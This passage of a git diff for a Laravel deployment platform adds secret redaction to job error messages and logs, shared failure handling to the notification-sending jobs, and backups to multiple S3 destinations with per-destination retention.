@@ -246,7 +247,7 @@ class DockerCleanupJob implements ShouldBeEncrypted, ShouldQueue return; } - $message = $exception?->getMessage() ?? 'Docker cleanup job failed without an exception.'; + $message = remove_iip($exception?->getMessage() ?? 'Docker cleanup job failed without an exception.'); $updated = DockerCleanupExecution::query() ->whereKey($execution->id) diff --git a/app/Jobs/ProvisionGithubRunnerJob.php b/app/Jobs/ProvisionGithubRunnerJob.php index c5b1148448..e4415a81c1 100644 --- a/app/Jobs/ProvisionGithubRunnerJob.php +++ b/app/Jobs/ProvisionGithubRunnerJob.php @@ -120,7 +120,7 @@ class ProvisionGithubRunnerJob implements ShouldBeEncrypted, ShouldQueue ->where('status', GithubRunnerStatus::Provisioning) ->update([ 'status' => GithubRunnerStatus::Failed, - 'error_message' => "Could not start a runner after {$attempt} attempts: {$e->getMessage()}", + 'error_message' => remove_iip("Could not start a runner after {$attempt} attempts: {$e->getMessage()}"), 'completed_at' => now(), ]); CleanupGithubRunnerJob::dispatch($execution->id); @@ -140,7 +140,7 @@ class ProvisionGithubRunnerJob implements ShouldBeEncrypted, ShouldQueue 'runner_name' => null, 'runner_id' => null, 'ready_at' => null, - 'error_message' => "Attempt {$attempt} of ".self::MAX_ATTEMPTS." failed: {$e->getMessage()}", + 'error_message' => remove_iip("Attempt {$attempt} of ".self::MAX_ATTEMPTS." failed: {$e->getMessage()}"), ]); if (! $retried) { return; diff --git a/app/Jobs/ScheduledTaskJob.php b/app/Jobs/ScheduledTaskJob.php index 8538760db8..56c5bb7821 100644 --- a/app/Jobs/ScheduledTaskJob.php +++ b/app/Jobs/ScheduledTaskJob.php @@ -5,6 +5,7 @@ namespace App\Jobs; use App\Events\ScheduledTaskDone; use App\Exceptions\NonReportableException; use App\Models\Application; +use App\Models\EnvironmentVariable; use App\Models\ScheduledTask; use App\Models\ScheduledTaskExecution; use App\Models\Server; @@ -13,6 +14,7 @@ use App\Models\Team; use App\Notifications\ScheduledTask\TaskFailed; use App\Notifications\ScheduledTask\TaskSuccess; use App\Services\ScheduledJobDeliveryService; +use App\Services\Security\SensitiveDataRedactor; use Carbon\Carbon; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; @@ -67,6 +69,9 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue public ?string $task_output = null; + /** @var array{known: array, locked: array}|null */ + private ?array $logRedactionSecrets = null; + public array $containers = []; public string $server_timezone = 'UTC'; @@ -178,7 +183,7 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue $exec = $this->boundedTaskCommand($execCommand); // Disable SSH multiplexing to prevent race conditions when multiple tasks run concurrently // See: https://github.com/coollabsio/coolify/issues/6736 - $this->task_output = instant_remote_process([$exec], $this->server, throwError: true, no_sudo: true, timeout: $this->task->timeout ?? 300, disableMultiplexing: true); + $this->task_output = $this->redact(instant_remote_process([$exec], $this->server, throwError: true, no_sudo: true, timeout: $this->task->timeout ?? 300, disableMultiplexing: true) ?? ''); $this->task_log->update([ 'status' => 'success', 'message' => $this->task_output, @@ -194,10 +199,11 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue throw new NonReportableException('ScheduledTaskJob failed: No valid container was found. Is the container name correct?'); } catch (\Throwable $e) { $failed = true; + $safeErrorMessage = $this->redact($e->getMessage()); if ($this->task_log) { $this->task_log->update([ 'status' => 'failed', - 'message' => $this->task_output ?? $e->getMessage(), + 'message' => $this->task_output ?? $safeErrorMessage, ]); } @@ -208,13 +214,13 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue 'task_name' => $this->task->name, 'server' => $this->server?->name ?? 'unknown', 'attempt' => $this->attempts(), - 'error' => $e->getMessage(), + 'error' => $safeErrorMessage, ]); // Only notify and throw on final failure // Re-throw to trigger Laravel's retry mechanism with backoff - throw $e; + throw $this->redactedException($e, $safeErrorMessage); } finally { if (! $failed && $this->occurrenceUuid) { app(ScheduledJobDeliveryService::class)->complete($this->occurrenceUuid, $this->job?->uuid() ?? $this->occurrenceUuid); @@ -244,6 +250,32 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue return "output_file=\$(mktemp); trap 'rm -f \"\$output_file\"' EXIT; set +e; set -o pipefail; {$command} 2>&1 | { head -c {$readLimit} > \"\$output_file\"; cat > /dev/null; }; exit_code=\${PIPESTATUS[0]}; if [ \"\$(wc -c < \"\$output_file\")\" -gt {$maxOutputBytes} ]; then truncate -s {$maxOutputBytes} \"\$output_file\"; printf '\n\n[... Output truncated at 5MB limit ...]' >> \"\$output_file\"; fi; if [ \"\$exit_code\" -eq 0 ]; then cat \"\$output_file\"; else cat \"\$output_file\" >&2; fi; exit \$exit_code"; } + private function redact(string $value): string + { + try { + $this->logRedactionSecrets ??= EnvironmentVariable::logRedactionSecretsFor($this->resource); + } catch (\Throwable) { + return REDACTED; + } + + return resolve(SensitiveDataRedactor::class)->redactText($value, $this->logRedactionSecrets['known'], $this->logRedactionSecrets['locked']); + } + + /** + * Keep the original exception when redaction did not change its message. + * Otherwise, drop the original (and its trace) so the secret is not stored in failed_jobs. + */ + private function redactedException(\Throwable $exception, string $safeMessage): \Throwable + { + if ($safeMessage === $exception->getMessage()) { + return $exception; + } + + return $exception instanceof NonReportableException + ? new NonReportableException($safeMessage, (int) $exception->getCode()) + : new \RuntimeException($safeMessage, (int) $exception->getCode()); + } + /** * Calculate the number of seconds to wait before retrying the job. */ @@ -262,6 +294,9 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue } $this->team ??= Team::find($this->task->team_id); + $this->resource ??= $this->task->application ?? $this->task->service; + $safeErrorMessage = $this->redact($exception?->getMessage() ?? 'Unknown error'); + $safeTrace = $this->redact($exception?->getTraceAsString() ?? ''); Log::channel('scheduled-errors')->error('ScheduledTask permanently failed', [ 'job' => 'ScheduledTaskJob', @@ -269,8 +304,8 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue 'task_name' => $this->task->name, 'server' => $this->server?->name ?? 'unknown', 'total_attempts' => $this->attempts(), - 'error' => $exception?->getMessage(), - 'trace' => $exception?->getTraceAsString(), + 'error' => $safeErrorMessage, + 'trace' => $safeTrace, ]); // After a worker timeout only the queued uuid identifies this run's execution. @@ -282,13 +317,13 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue if ($execution) { $errorMessage = 'Job permanently failed after '.$this->attempts().' attempts'; if ($exception) { - $errorMessage .= ': '.$exception->getMessage(); + $errorMessage .= ': '.$safeErrorMessage; } $execution->update([ 'status' => 'failed', 'message' => $errorMessage, - 'error_details' => $exception?->getTraceAsString(), + 'error_details' => $safeTrace, 'finished_at' => Carbon::now()->toImmutable(), ]); } else { @@ -299,6 +334,6 @@ class ScheduledTaskJob implements ShouldBeEncrypted, ShouldQueue } // Notify team about permanent failure - $this->team?->notify(new TaskFailed($this->task, $exception?->getMessage() ?? 'Unknown error')); + $this->team?->notify(new TaskFailed($this->task, $safeErrorMessage)); } } diff --git a/app/Jobs/SendMessageToDiscordJob.php b/app/Jobs/SendMessageToDiscordJob.php index d5c29efb0f..eeae3bf64a 100644 --- a/app/Jobs/SendMessageToDiscordJob.php +++ b/app/Jobs/SendMessageToDiscordJob.php @@ -2,8 +2,10 @@ namespace App\Jobs; +use App\Models\DiscordNotificationSettings; use App\Notifications\Dto\DiscordMessage; use App\Rules\SafeWebhookUrl; +use App\Traits\HandlesNotificationResponse; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; @@ -16,7 +18,7 @@ use Illuminate\Support\Facades\Validator; class SendMessageToDiscordJob implements ShouldBeEncrypted, ShouldQueue { - use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + use Dispatchable, HandlesNotificationResponse, InteractsWithQueue, Queueable, SerializesModels; /** * The number of times the job may be attempted. @@ -34,7 +36,8 @@ class SendMessageToDiscordJob implements ShouldBeEncrypted, ShouldQueue public function __construct( public DiscordMessage $message, - public string $webhookUrl + public string $webhookUrl, + public ?DiscordNotificationSettings $settings = null, ) { $this->onQueue('high'); } @@ -69,6 +72,9 @@ class SendMessageToDiscordJob implements ShouldBeEncrypted, ShouldQueue return; } - Http::withOptions($httpOptions)->post($this->webhookUrl, $this->message->toPayload()); + $response = $this->sendNotificationRequest('Discord', $this->webhookUrl, fn () => Http::withOptions($httpOptions)->post($this->webhookUrl, $this->message->toPayload())); + + // 401: invalid webhook token, 403: missing access, 404: unknown (deleted) webhook. + $this->handleNotificationResponse($response, 'Discord', in_array($response->status(), [401, 403, 404], true)); } } diff --git a/app/Jobs/SendMessageToPushoverJob.php b/app/Jobs/SendMessageToPushoverJob.php index e2a94cdaa0..f7ff676d56 100644 --- a/app/Jobs/SendMessageToPushoverJob.php +++ b/app/Jobs/SendMessageToPushoverJob.php @@ -2,7 +2,9 @@ namespace App\Jobs; +use App\Models\PushoverNotificationSettings; use App\Notifications\Dto\PushoverMessage; +use App\Traits\HandlesNotificationResponse; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; @@ -13,7 +15,7 @@ use Illuminate\Support\Facades\Http; class SendMessageToPushoverJob implements ShouldBeEncrypted, ShouldQueue { - use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + use Dispatchable, HandlesNotificationResponse, InteractsWithQueue, Queueable, SerializesModels; /** * The number of times the job may be attempted. @@ -33,6 +35,7 @@ class SendMessageToPushoverJob implements ShouldBeEncrypted, ShouldQueue public PushoverMessage $message, public string $token, public string $user, + public ?PushoverNotificationSettings $settings = null, ) { $this->onQueue('high'); } @@ -42,9 +45,11 @@ class SendMessageToPushoverJob implements ShouldBeEncrypted, ShouldQueue */ public function handle(): void { - $response = Http::post('https://api.pushover.net/1/messages.json', $this->message->toPayload($this->token, $this->user)); - if ($response->failed()) { - throw new \RuntimeException('Pushover notification failed with '.$response->status().' status code.'.$response->body()); - } + $response = $this->sendNotificationRequest('Pushover', 'https://api.pushover.net/1/messages.json', fn () => Http::post('https://api.pushover.net/1/messages.json', $this->message->toPayload($this->token, $this->user))); + + // Pushover marks the invalid field in the error body, for example {"token": "invalid"}. + $isConfigurationError = $response->clientError() + && ($response->json('token') === 'invalid' || $response->json('user') === 'invalid'); + $this->handleNotificationResponse($response, 'Pushover', $isConfigurationError); } } diff --git a/app/Jobs/SendMessageToSlackJob.php b/app/Jobs/SendMessageToSlackJob.php index 3a306c23da..0daafcc42e 100644 --- a/app/Jobs/SendMessageToSlackJob.php +++ b/app/Jobs/SendMessageToSlackJob.php @@ -2,12 +2,15 @@ namespace App\Jobs; +use App\Models\SlackNotificationSettings; use App\Notifications\Dto\SlackMessage; use App\Rules\SafeWebhookUrl; +use App\Traits\HandlesNotificationResponse; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; +use Illuminate\Http\Client\Response; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Http; @@ -16,7 +19,7 @@ use Illuminate\Support\Facades\Validator; class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue { - use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + use Dispatchable, HandlesNotificationResponse, InteractsWithQueue, Queueable, SerializesModels; /** * The number of times the job may be attempted. @@ -30,7 +33,8 @@ class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue public function __construct( private SlackMessage $message, - private string $webhookUrl + private string $webhookUrl, + public ?SlackNotificationSettings $settings = null, ) { $this->onQueue('high'); } @@ -62,18 +66,17 @@ class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue return; } - if ($this->isSlackWebhook()) { - $this->sendToSlack($httpOptions); - - return; - } - /** * This works with Mattermost and as a fallback also with Slack, the notifications just look slightly different and advanced formatting for slack is not supported with Mattermost. * * @see https://github.com/coollabsio/coolify/pull/6139#issuecomment-3756777708 */ - $this->sendToMattermost($httpOptions); + $response = $this->sendNotificationRequest('Slack', $this->webhookUrl, fn () => $this->isSlackWebhook() + ? $this->sendToSlack($httpOptions) + : $this->sendToMattermost($httpOptions)); + + // 403: posting is not allowed, 404: the webhook or channel was removed, 410: the channel is archived. + $this->handleNotificationResponse($response, 'Slack', in_array($response->status(), [403, 404, 410], true)); } private function isSlackWebhook(): bool @@ -93,9 +96,9 @@ class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue /** * @param array $httpOptions */ - private function sendToSlack(array $httpOptions): void + private function sendToSlack(array $httpOptions): Response { - Http::withOptions($httpOptions)->post($this->webhookUrl, [ + return Http::withOptions($httpOptions)->post($this->webhookUrl, [ 'text' => $this->message->title, 'blocks' => [ [ @@ -136,11 +139,11 @@ class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue /** * @param array $httpOptions */ - private function sendToMattermost(array $httpOptions): void + private function sendToMattermost(array $httpOptions): Response { $username = config('app.name'); - Http::withOptions($httpOptions)->post($this->webhookUrl, [ + return Http::withOptions($httpOptions)->post($this->webhookUrl, [ 'username' => $username, 'attachments' => [ [ diff --git a/app/Jobs/SendMessageToTelegramJob.php b/app/Jobs/SendMessageToTelegramJob.php index 6b04d21915..c6bf073b56 100644 --- a/app/Jobs/SendMessageToTelegramJob.php +++ b/app/Jobs/SendMessageToTelegramJob.php @@ -2,6 +2,8 @@ namespace App\Jobs; +use App\Models\TelegramNotificationSettings; +use App\Traits\HandlesNotificationResponse; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; @@ -13,7 +15,7 @@ use Illuminate\Support\Str; class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue { - use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + use Dispatchable, HandlesNotificationResponse, InteractsWithQueue, Queueable, SerializesModels; /** * The number of times the job may be attempted. @@ -38,6 +40,7 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue public string $token, public string $chatId, public ?string $threadId = null, + public ?TelegramNotificationSettings $settings = null, ) { $this->onQueue('high'); } @@ -75,9 +78,11 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue if ($this->threadId) { $payload['message_thread_id'] = $this->threadId; } - $response = Http::post($url, $payload); - if ($response->failed()) { - throw new \RuntimeException('Telegram notification failed with '.$response->status().' status code.'.$response->body()); - } + $response = $this->sendNotificationRequest('Telegram', $url, fn () => Http::post($url, $payload)); + + // 401: invalid bot token, 403: the bot was blocked or removed from the chat, 400 "chat not found": wrong chat ID. + $isConfigurationError = in_array($response->status(), [401, 403], true) + || ($response->status() === 400 && Str::contains((string) $response->json('description'), 'chat not found', true)); + $this->handleNotificationResponse($response, 'Telegram', $isConfigurationError); } } diff --git a/app/Jobs/SendWebhookJob.php b/app/Jobs/SendWebhookJob.php index c14d70a773..11d44eceb2 100644 --- a/app/Jobs/SendWebhookJob.php +++ b/app/Jobs/SendWebhookJob.php @@ -2,7 +2,9 @@ namespace App\Jobs; +use App\Models\WebhookNotificationSettings; use App\Rules\SafeWebhookUrl; +use App\Traits\HandlesNotificationResponse; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; @@ -15,7 +17,7 @@ use Illuminate\Support\Facades\Validator; class SendWebhookJob implements ShouldBeEncrypted, ShouldQueue { - use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + use Dispatchable, HandlesNotificationResponse, InteractsWithQueue, Queueable, SerializesModels; /** * The number of times the job may be attempted. @@ -33,7 +35,8 @@ class SendWebhookJob implements ShouldBeEncrypted, ShouldQueue public function __construct( public array $payload, - public string $webhookUrl + public string $webhookUrl, + public ?WebhookNotificationSettings $settings = null, ) { $this->onQueue('high'); } @@ -68,6 +71,9 @@ class SendWebhookJob implements ShouldBeEncrypted, ShouldQueue return; } - Http::withOptions($httpOptions)->post($this->webhookUrl, $this->payload); + $response = $this->sendNotificationRequest('Webhook', $this->webhookUrl, fn () => Http::withOptions($httpOptions)->post($this->webhookUrl, $this->payload)); + + // 401/403: the endpoint rejects us, 404/410: the endpoint does not exist anymore. + $this->handleNotificationResponse($response, 'Webhook', in_array($response->status(), [401, 403, 404, 410], true)); } } diff --git a/app/Jobs/ServerFilesFromServerJob.php b/app/Jobs/ServerFilesFromServerJob.php index 58455df2f4..73641131fe 100644 --- a/app/Jobs/ServerFilesFromServerJob.php +++ b/app/Jobs/ServerFilesFromServerJob.php @@ -7,20 +7,32 @@ use App\Models\ServiceApplication; use App\Models\ServiceDatabase; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; +use Illuminate\Contracts\Queue\ShouldBeUniqueUntilProcessing; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class ServerFilesFromServerJob implements ShouldBeEncrypted, ShouldQueue +class ServerFilesFromServerJob implements ShouldBeEncrypted, ShouldBeUniqueUntilProcessing, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + /** + * Only one sync per resource can wait in the queue. The compose parser dispatches + * this job once per volume on every parse, so without this the queue fills with copies. + */ + public int $uniqueFor = 600; + public function __construct(public ServiceApplication|ServiceDatabase|Application $resource) { $this->onQueue('high'); } + public function uniqueId(): string + { + return $this->resource::class.':'.$this->resource->id; + } + public function handle() { $this->resource->getFilesFromServer(isInit: true); diff --git a/app/Jobs/VolumeBackupJob.php b/app/Jobs/VolumeBackupJob.php index d635894b09..9c36f67e53 100644 --- a/app/Jobs/VolumeBackupJob.php +++ b/app/Jobs/VolumeBackupJob.php @@ -4,19 +4,21 @@ namespace App\Jobs; use App\Events\BackupCreated; use App\Models\LocalPersistentVolume; +use App\Models\S3Storage; use App\Models\ScheduledVolumeBackup; use App\Models\ScheduledVolumeBackupExecution; use App\Models\Server; +use App\Models\VolumeBackupS3Replica; use App\Notifications\VolumeBackup\BackupFailed; use App\Notifications\VolumeBackup\BackupSuccess; use App\Rules\SafeWebhookUrl; use App\Services\ScheduledJobDeliveryService; +use App\Services\Security\SensitiveDataRedactor; use App\Support\BackupCompression; use Carbon\Carbon; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; -use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; @@ -71,16 +73,21 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue throw new \RuntimeException('The storage backup resource, team, or server no longer exists.'); } + $destinations = $this->backup->save_s3 ? $this->backup->selectedS3Storages() : collect(); $this->execution = $this->backup->executions()->create([ - 's3_storage_id' => $this->backup->save_s3 ? $this->backup->s3_storage_id : null, + 's3_storage_id' => $destinations->first()?->id, ]); + foreach ($destinations as $s3) { + $this->execution->s3Replicas()->create(['s3_storage_id' => $s3->id]); + } BackupCreated::dispatch($team->id); $backupDirectory = backup_dir().'/volumes/'.str($team->name)->slug().'-'.$team->id.'/'.$target->uuid; $filename = str($this->backup->targetType())->lower().'-'.str($this->backup->targetName())->slug().'-'.Carbon::now()->timestamp.'.tar.gz'; $backupLocation = $backupDirectory.'/'.$filename; $this->execution->update(['filename' => $backupLocation]); - $streamToS3 = $this->backup->save_s3 && $this->backup->disable_local_backup; + // Streaming writes no local archive, so it can upload to one destination only. + $streamToS3 = $this->backup->disable_local_backup && $destinations->count() === 1; try { $source = $this->backup->sourcePath(); @@ -96,7 +103,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue $archiveScript = "compressor=\$({$compressorCommand}); tar -I \"\$compressor\" -cf - -C /volume ."; if ($streamToS3) { $this->execution->update(['local_storage_deleted' => true]); - $archiveCommand = $this->streamToS3Command($archiveScript, $backupLocation, $source, $containerName, $image); + $archiveCommand = $this->streamToS3Command($destinations->first(), $archiveScript, $backupLocation, $source, $containerName, $image); $this->execution->update(['s3_cleanup_pending' => true]); } else { $archiveCommand = 'docker run --rm --name '.escapeshellarg($containerName) @@ -141,24 +148,27 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } $warning = null; - $s3Uploaded = null; + $s3Uploaded = false; $s3CleanupPending = false; $localStorageDeleted = $streamToS3; if ($streamToS3) { $s3Uploaded = true; + $this->execution->s3Replicas()->update(['s3_uploaded' => true]); + $this->execution->refreshS3Summary(); $this->execution->update(['s3_cleanup_pending' => false]); + } elseif ($this->backup->save_s3 && $destinations->isEmpty()) { + $warning = 'S3 upload failed: The selected S3 storage no longer exists.'; } elseif ($this->backup->save_s3) { $s3CleanupPending = true; $this->execution->update(['s3_cleanup_pending' => true]); + $uploadErrors = $this->uploadToDestinations($backupLocation, $backupDirectory, $server); + $s3Uploaded = $uploadErrors === []; - try { - $this->uploadToS3($backupLocation, $backupDirectory, $server); - $s3Uploaded = true; + if ($s3Uploaded) { $s3CleanupPending = false; - } catch (Throwable $exception) { - $s3Uploaded = false; - $warning = 'S3 upload failed: '.$exception->getMessage(); + } else { + $warning = 'S3 upload failed: '.implode(' ', $uploadErrors); try { VolumeBackupRecoveryJob::cleanupS3Upload($this->execution); @@ -179,12 +189,12 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } + $warning = $warning === null ? null : $this->redact($warning); $this->execution->update([ 'status' => 'success', 'message' => $warning, 'size' => $size, 'filename' => $backupLocation, - 's3_uploaded' => $s3Uploaded, 's3_cleanup_pending' => $s3CleanupPending, 'local_storage_deleted' => $localStorageDeleted, ]); @@ -195,7 +205,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue Log::channel('scheduled-errors')->warning('Volume backup retention cleanup failed', [ 'backup_id' => $this->backup->id, 'execution_id' => $this->execution->id, - 'error' => $exception->getMessage(), + 'error' => $this->redact($exception->getMessage()), ]); } } catch (Throwable $exception) { @@ -220,18 +230,23 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } + $this->execution->s3Replicas()->whereNull('s3_uploaded')->update(['s3_uploaded' => false]); + $this->execution->refreshS3Summary(); $s3CleanupPending = $this->execution->fresh()->s3_cleanup_pending; $this->execution->update([ 'status' => 'failed', - 'message' => $exception->getMessage().$recoveryError, + 'message' => $this->redact($exception->getMessage().$recoveryError), 'filename' => $streamToS3 ? ($s3CleanupPending ? $backupLocation : null) : ($archiveDeleted && ! $s3CleanupPending ? null : $backupLocation), 'local_storage_deleted' => $archiveDeleted, ]); - throw $exception; + $safeMessage = $this->redact($exception->getMessage()); + throw $safeMessage === $exception->getMessage() + ? $exception + : new \RuntimeException($safeMessage, (int) $exception->getCode()); } finally { if (! $failed && $this->occurrenceUuid) { app(ScheduledJobDeliveryService::class)->complete($this->occurrenceUuid, $this->job?->uuid() ?? $this->occurrenceUuid); @@ -275,7 +290,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue $execution->update([ 'status' => 'failed', - 'message' => ($exception?->getMessage() ?? 'Volume backup timed out or was terminated.').$recoveryError, + 'message' => $this->redact(($exception?->getMessage() ?? 'Volume backup timed out or was terminated.').$recoveryError), 'finished_at' => now(), 'filename' => $filename, 'local_storage_deleted' => $localStorageDeleted, @@ -284,10 +299,29 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue $this->backup->team?->notify(new BackupFailed( $this->backup, - $exception?->getMessage() ?? 'Volume backup timed out or was terminated.', + $this->redact($exception?->getMessage() ?? 'Volume backup timed out or was terminated.'), )); } + /** + * Redact the key and secret of every S3 destination of the backup from text that is stored or sent in notifications. + */ + private function redact(string $text): string + { + try { + $s3 = $this->backup->s3; + $lockedSecrets = [$s3?->key, $s3?->secret]; + foreach ($this->backup->selectedS3Storages() as $storage) { + $lockedSecrets[] = $storage->key; + $lockedSecrets[] = $storage->secret; + } + } catch (Throwable) { + return SensitiveDataRedactor::FAILURE_MESSAGE; + } + + return app(SensitiveDataRedactor::class)->redactText($text, lockedSecrets: array_filter($lockedSecrets, fn ($secret): bool => is_string($secret) && $secret !== '')); + } + /** * @return array */ @@ -347,16 +381,38 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - private function uploadToS3(string $backupLocation, string $backupDirectory, Server $server): void + /** + * Uploads the local archive to every destination of the execution and records the result on each copy. + * + * @return array One error message per failed destination. + */ + private function uploadToDestinations(string $backupLocation, string $backupDirectory, Server $server): array { - $s3 = $this->backup->s3; + $errors = []; - if (! $s3) { - $this->backup->update(['save_s3' => false, 's3_storage_id' => null]); + foreach ($this->execution->s3Replicas()->with('s3')->get() as $replica) { + /** @var VolumeBackupS3Replica $replica */ + try { + if (! $replica->s3) { + throw new \RuntimeException('The selected S3 storage no longer exists.'); + } - throw new \RuntimeException('The selected S3 storage no longer exists. S3 backup has been disabled.'); + $this->uploadToS3($replica->s3, $backupLocation, $backupDirectory, $server); + $replica->update(['s3_uploaded' => true, 'message' => null]); + } catch (Throwable $exception) { + $message = $this->redact($exception->getMessage()); + $replica->update(['s3_uploaded' => false, 'message' => $message]); + $errors[] = ($replica->s3?->name ?? 'Deleted storage').': '.$message; + } } + $this->execution->refreshS3Summary(); + + return $errors; + } + + private function uploadToS3(S3Storage $s3, string $backupLocation, string $backupDirectory, Server $server): void + { $s3->testConnection(shouldSave: true); $containerName = 'volume-upload-'.$this->execution->uuid; $image = coolifyHelperImage().':'.getHelperVersion(); @@ -372,7 +428,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue .escapeshellarg($backupLocation.':'.$backupLocation.':ro').' '.escapeshellarg($image), 'docker exec '.escapeshellarg($containerName).' mc alias set'.$resolveOptions.' temporary ' .escapeshellarg($s3->endpoint).' '.escapeshellarg($s3->key).' '.escapeshellarg($s3->secret), - 'docker exec '.escapeshellarg($containerName).' mc cp '.escapeshellarg($backupLocation).' ' + 'docker exec '.escapeshellarg($containerName).' mc cp'.$resolveOptions.' '.escapeshellarg($backupLocation).' ' .escapeshellarg('temporary/'.$s3->bucket.$backupDirectory.'/'), ], $server, timeout: $this->timeout, disableMultiplexing: true); } finally { @@ -385,16 +441,8 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - private function streamToS3Command(string $archiveScript, string $backupLocation, string $source, string $containerName, string $image): string + private function streamToS3Command(S3Storage $s3, string $archiveScript, string $backupLocation, string $source, string $containerName, string $image): string { - $s3 = $this->backup->s3; - - if (! $s3) { - $this->backup->update(['save_s3' => false, 's3_storage_id' => null]); - - throw new \RuntimeException('The selected S3 storage no longer exists. S3 backup has been disabled.'); - } - $s3->testConnection(shouldSave: true); $resolveOptions = collect(SafeWebhookUrl::minioClientResolveOptions($s3->endpoint, $s3->trustedInternalHosts())) ->map(fn (string $option): string => '--resolve '.escapeshellarg($option)) @@ -462,36 +510,45 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue } } - if ($this->backup->save_s3 && $this->backup->s3 && $this->hasRetentionLimits( + if ($this->backup->save_s3 && $this->hasRetentionLimits( $this->backup->retention_amount_s3, $this->backup->retention_days_s3, $this->backup->retention_max_storage_s3, )) { + $liveCopies = fn ($query) => $query->where('s3_uploaded', true)->where('s3_storage_deleted', false); $s3Executions = $this->backup->executions() - ->with('s3') + ->with(['s3Replicas' => fn ($query) => $liveCopies($query)->with('s3')]) ->where('status', 'success') - ->where('s3_uploaded', true) - ->where('s3_storage_deleted', false) + ->whereHas('s3Replicas', $liveCopies) ->get(); - $s3Executions = $this->executionsOutsideRetention( - $s3Executions, - $this->backup->retention_amount_s3, - $this->backup->retention_days_s3, - $this->backup->retention_max_storage_s3, - ); - foreach ($s3Executions->groupBy('s3_storage_id') as $executions) { - $s3 = $executions->first()->s3; + // Each destination keeps its own copies within the same retention settings. + foreach ($s3Executions->flatMap->s3Replicas->pluck('s3_storage_id')->unique() as $storageId) { + $executions = $this->executionsOutsideRetention( + $s3Executions->filter(fn (ScheduledVolumeBackupExecution $execution): bool => $execution->s3Replicas->contains('s3_storage_id', $storageId))->values(), + $this->backup->retention_amount_s3, + $this->backup->retention_days_s3, + $this->backup->retention_max_storage_s3, + ); + if ($executions->isEmpty()) { + continue; + } + + $replicas = $executions->map(fn (ScheduledVolumeBackupExecution $execution): VolumeBackupS3Replica => $execution->s3Replicas->firstWhere('s3_storage_id', $storageId)); + $s3 = $replicas->first()->s3; if (! $s3) { - throw new \RuntimeException('The S3 storage used by an existing backup is unavailable.'); + VolumeBackupS3Replica::query()->whereKey($replicas->pluck('id')->all())->update(['s3_storage_deleted' => true]); + $executions->each(fn (ScheduledVolumeBackupExecution $execution) => $execution->refreshS3Summary()); + + continue; } $filenames = $executions->pluck('filename')->filter()->all(); if ($filenames !== []) { deleteBackupsS3($filenames, $s3); - $this->backup->executions()->whereKey($executions->pluck('id')->all()) - ->update(['s3_storage_deleted' => true]); } + VolumeBackupS3Replica::query()->whereKey($replicas->pluck('id')->all())->update(['s3_storage_deleted' => true]); + $executions->each(fn (ScheduledVolumeBackupExecution $execution) => $execution->refreshS3Summary()); } } @@ -499,9 +556,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue ->where('local_storage_deleted', true) ->where('stop_recovery_pending', false) ->where('s3_cleanup_pending', false) - ->where(function (Builder $query): void { - $query->where('s3_storage_deleted', true)->orWhereNull('s3_uploaded'); - }) + ->withoutLiveS3Copies() ->delete(); } diff --git a/app/Jobs/VolumeBackupRecoveryJob.php 